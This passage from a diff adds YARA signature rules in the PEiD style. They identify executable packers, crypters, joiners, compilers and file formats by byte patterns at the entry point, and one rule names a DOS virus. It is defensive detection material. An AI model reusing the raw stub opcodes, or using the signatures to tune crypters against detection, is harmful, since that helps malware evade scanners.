+		description = "PseudoSigner 0.1 [MinGW GCC 2.x"
+	strings:
+		$0 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+		$1 = {55 89 E5 E8 02 00 00 00 C9 C3 90 90 45 58 45 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeJoiner_153_Stub_engine_17__GlOFF_
+{
+	meta:
+		description = "FreeJoiner 1.5.3 (Stub engine 1.7) -> GlOFF"
+	strings:
+		$0 = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+		$1 = {E8 33 FD FF FF 50 E8 0D 00 00 00 CC FF 25 08 20 40 00 FF 25 0C 20 40 00 FF 25 10 20 40 00 FF 25 14 20 40 00 FF 25 18 20 40 00 FF 25 1C 20 40 00 FF 25 20 20 40 00 FF 25 24 20 40 00 FF 25 28 20 40 00 FF 25 00 20 40 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Microsoft_Resource_Cursors_file_
+{
+	meta:
+		description = "Microsoft Resource Cursors file"
+	strings:
+		$0 = {00 00 02 00 01 00 20 20 00 00 ?? 00 ?? 00 E8 02 00 00 16}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_17__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.7 -> coban2k"
+	strings:
+		$0 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 82 8E FE FF FF 58 8B 4E 40 5F E3}
+		$1 = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_072_
+{
+	meta:
+		description = "UPX 0.72"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+		$1 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_081__084_PE_DLL_
+{
+	meta:
+		description = "UPX 0.81 - 0.84 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 00 00 00 00 60 BE D9 00 00 00 8D BE 27 00 00 FF 57 83 CD FF EB 0D 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF 75 09 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Protected_Mode_compiler_2_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (2)"
+	strings:
+		$0 = {FA FC 0E 1F E8 ?? ?? 8C C0 66 0F B7 C0 66 C1 E0 ?? 66 67 A3}
+	condition:
+		$0 at entrypoint
+}
+rule _MZ_Crypt_10__by_BrainSt0rm_
+{
+	meta:
+		description = "MZ_Crypt 1.0 - by BrainSt0rm"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Bitmap_Graphics_format_
+{
+	meta:
+		description = "Microsoft Bitmap Graphics format"
+	strings:
+		$0 = {01 00 09 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vterminal_V10X__Lei_Peng_
+{
+	meta:
+		description = "Vterminal V1.0X -> Lei Peng"
+	strings:
+		$0 = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+		$1 = {E8 00 00 00 00 58 05 ?? ?? ?? ?? 9C 50 C2 04 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVKProtector_v13x__Pavol_Cerven_
+{
+	meta:
+		description = "SVK-Protector v1.3x -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? ?? 00 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _CubiComp_PictureMaker_graphics_format_blue_
+{
+	meta:
+		description = "CubiComp PictureMaker graphics format (blue)"
+	strings:
+		$0 = {36 0C FF 02 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_V130Eng__dulekxt_
+{
+	meta:
+		description = "FSG V1.30(Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_XCR_011_
+{
+	meta:
+		description = "PseudoSigner 0.2 [XCR 0.11"
+	strings:
+		$0 = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+	condition:
+		$0 at entrypoint
+}
+rule _CI_Crypt_V02__FearlesS_
+{
+	meta:
+		description = "C.I Crypt V0.2 -> FearlesS"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Nullsoft_Install_System_v20b4_
+{
+	meta:
+		description = "Nullsoft Install System v2.0b4"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00 68 E4 91 40 00 56 FF D3 E8 7C FF FF FF 85 C0 0F 84 59 01 00 00 BE E0 66 42 00 56 FF 15 68 70 40 00 68 D8 91 40 00 56 E8 FE 27 00 00 57 FF 15 BC 70 40 00 BE 00 C0 42 00 50 56 FF 15 B8 70 40 00 6A 00 FF 15 44 71 40 00 80 3D 00 C0 42 00 22 A3 E0 6E 42 00 8B C6 75 0A C6 44 24 13 22 B8 01 C0 42 00 8B 3D 10 72 40 00 EB 09 3A 4C 24 13 74 09 50 FF D7 8A 08 84 C9 75 F1 50 FF D7 8B F0 89 74 24 1C EB 05 56 FF D7 8B F0 80 3E 20 74 F6 80 3E 2F 75 44 46 80 3E 53 75 0C 8A 46 01 0C 20 3C 20 75 03 83 CD 02 81 3E 4E 43 52}
+		$1 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+		$2 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+		$3 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71 40 00 03 C6 50 E8 78 29 00 00 56 E8 47 2B 00 00 6A 00 56 FF D3 56 57 E8 EA 25 00 00 85 C0 75 0D C7 44 24 14 58 91 40 00 E9 72 02 00 00 57 FF 15 24 71 40 00 68 EC 91 40 00 57 E8 43}
+	condition:
+		$0 at entrypoint or $1 or $2 or $3 at entrypoint
+}
+rule _ExeBundle_v30_standard_loader_
+{
+	meta:
+		description = "ExeBundle v3.0 (standard loader)"
+	strings:
+		$0 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+		$1 = {00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FucknJoy_v10c__UsAr_
+{
+	meta:
+		description = "Fuck'n'Joy v1.0c -> UsAr"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED D8 05 40 00 FF 74 24 20 E8 8C 02 00 00 0B C0 0F 84 2C 01 00 00 89 85 6C 08 40 00 8D 85 2F 08 40 00 50 FF B5 6C 08 40 00 E8 EF 02 00 00 0B C0 0F 84 0C 01 00 00 89 85 3B 08 40 00 8D 85 3F 08 40 00 50 FF B5 6C 08 40 00 E8 CF 02 00 00 0B C0 0F 84 EC 00 00 00 89 85 4D 08 40 00 8D 85 51 08 40 00 50 FF B5 6C 08 40 00 E8 AF 02 00 00 0B C0 0F 84 CC 00 00 00 89 85 5C 08 40 00 8D 85 67 07 40 00 E8 7B 02 00 00 8D B5 C4 07 40 00 56 6A 64 FF 95 74 07 40 00 46 80 3E 00 75 FA C7 06 74 6D 70 2E 83 C6 04 C7 06 65 78 65 00 8D 85 36 07 40 00 E8 4C 02 00 00 33 DB 53 53 6A 02 53 53 68 00 00 00 40 8D 85 C4 07 40 00 50 FF 95 74 07 40 00 89 85 78 07 40 00 8D 85 51 07 40 00 E8 21 02 00 00 6A 00 8D 85 7C 07 40 00 50 68 00 ?? ?? 00 8D 85 F2 09 40 00 50 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lattice_C_v30_
+{
+	meta:
+		description = "Lattice C v3.0"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 B8 ?? ?? 8E}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake v0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 81 00 00 00 56 50 FF 55 2D 89 85 8E 00 00 00 6A 04 68 00 10 00 00 68 ?? ?? 00 00 6A 00 FF 95 8E 00 00 00 50 8B 9D 7D 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V18XV19X__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.8.X-V1.9.X -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D ?? ?? ?? ?? FF FF FF FF FF FF FF FF 3D ?? ?? ?? ?? 00 00 58 25 00 F0 FF FF 33 FF 66 BB ?? ?? 66 83 ?? ?? 66 39 18 75 12 0F B7 50 3C 03 D0 BB ?? ?? ?? ?? 83 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Igor_
+{
+	meta:
+		description = "Vx: Igor"
+	strings:
+		$0 = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _Delphi_v10_Unit_
+{
+	meta:
+		description = "Delphi v1.0 Unit"
+	strings:
+		$0 = {44 43 55 31}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_BJFNT_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [.BJFNT 1.2] --> Anorganix"
+	strings:
+		$0 = {EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MEW_10_by_Northfox_
+{
+	meta:
+		description = "MEW 10 by Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+	condition:
+		$0
+}
+rule _UPX_v072_
+{
+	meta:
+		description = "UPX v0.72"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 83 ?? ?? 31 DB 5E 8D ?? ?? ?? ?? ?? 57 66 ?? ?? ?? ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_2xwithouth_Poly__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 2.x(withouth Poly) -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB EC FF FF FF 03 DD 81 EB 00 40 1C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v244_
+{
+	meta:
+		description = "PEBundle v2.44"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+		$1 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TPack_05m2_
+{
+	meta:
+		description = "TPack 0.5?-m2"
+	strings:
+		$0 = {68 00 01 FD 60 BE 00 00 BF 48 FF B9 00 00 F3 A4 8B F7 BF 00 01 FC 46 E9 CE FD}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEPACK_v531009_LINK_v369_
+{
+	meta:
+		description = "EXEPACK v5.31.009 (LINK v3.69)"
+	strings:
+		$0 = {8B E8 8C C0}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_apk2_V018__Dmitry_AND_Andreev___20080731_
+{
+	meta:
+		description = "ANDpakk2 (apk2) V0.18 -> Dmitry AND Andreev  * 20080731"
+	strings:
+		$0 = {FC BE ?? ?? ?? ?? BF ?? ?? ?? ?? 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD ?? ?? ?? ?? 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v133_
+{
+	meta:
+		description = "FSG v1.33"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LaunchAnywhere_4001_
+{
+	meta:
+		description = "LaunchAnywhere 4.0.0.1"
+	strings:
+		$0 = {55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DEF_10_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DEF 1.0"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+		$1 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TaiShanXiangYu_LockSoft_DLL_V10__zlocksoft_
+{
+	meta:
+		description = "TaiShanXiangYu LockSoft DLL V1.0 -> zlocksoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E3 00 42 00 8B D5 81 C2 32 01 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+		$1 = {60 E8 00 00 00 00 5D 81 ED E3 00 42 00 8B D5 81 C2 32 01 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 AF 28 42 00 81 E9 DD 01 42 00 8B D5 81 C2 DD 01 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 78 20 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BAFF_BMPs_graphics_library_
+{
+	meta:
+		description = "BAFF (BMP's) graphics library"
+	strings:
+		$0 = {42 41 46 46 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_V28_Private__Spirit_
+{
+	meta:
+		description = "FakeNinja V2.8 Private -> Spirit"
+	strings:
+		$0 = {40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 17 E5 FF 60}
+	condition:
+		$0 at entrypoint
+}
+rule _EXELOCK_666_15_
+{
+	meta:
+		description = "EXELOCK 666 1.5"
+	strings:
+		$0 = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+		$1 = {BA ?? ?? BF ?? ?? EB ?? EA ?? ?? ?? ?? 79 ?? 7F ?? 7E ?? 1C ?? 48 78 ?? E3 ?? 45 14 ?? 5A E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lotus_Graphics_format_
+{
+	meta:
+		description = "Lotus Graphics format"
+	strings:
+		$0 = {01 00 00 00 01 00 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LGLZ_v104b_
+{
+	meta:
+		description = "LGLZ v1.04b"
+	strings:
+		$0 = {FC 1E 06 0E 8C C8 ?? ?? ?? ?? BA ?? ?? 03 C2 8B D8 05 ?? ?? 8E DB 8E C0 33 F6 33 FF B9 ?? ?? F3 A5 4B 48 4A 79}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0978__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v0.978 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_60__70_
+{
+	meta:
+		description = "Borland Delphi 6.0 - 7.0"
+	strings:
+		$0 = {55 8B EC B9 07 00 00}
+		$1 = {55 8B EC 83 C4 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {55 8B EC 83 C4 F0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_040__051_EXE_
+{
+	meta:
+		description = "UPX 0.40 - 0.51 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 00 00 00 00 00 0E 0E 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 21 05 00 02 07}
+	condition:
+		$0 at entrypoint
+}
+rule _yP_10b_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yP 1.0b by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v126b1__v126b2_
+{
+	meta:
+		description = "PECompact v1.26b1 - v1.26b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E}
+	condition:
+		$0 at entrypoint
+}
+rule _STNPEE_113_
+{
+	meta:
+		description = "STNPEE 1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1200__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2.0.0 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 3F 1E 00 00}
